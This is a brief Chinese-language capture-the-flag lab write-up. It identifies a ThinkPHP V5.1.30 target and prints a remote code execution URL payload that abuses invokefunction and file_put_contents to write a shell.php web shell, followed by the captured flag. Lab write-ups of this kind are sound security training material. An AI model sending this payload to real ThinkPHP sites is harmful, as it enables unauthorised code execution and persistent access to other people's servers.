小小靶场直接拿下

1.访问靶场

2.测试发现该系统采用ThinkPHP V5.1.30框架


3.上家伙拿下：
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=

4.得到flag：flag-{bmh00aca449-0ffa-47cc-b050-1fa7760bdd59}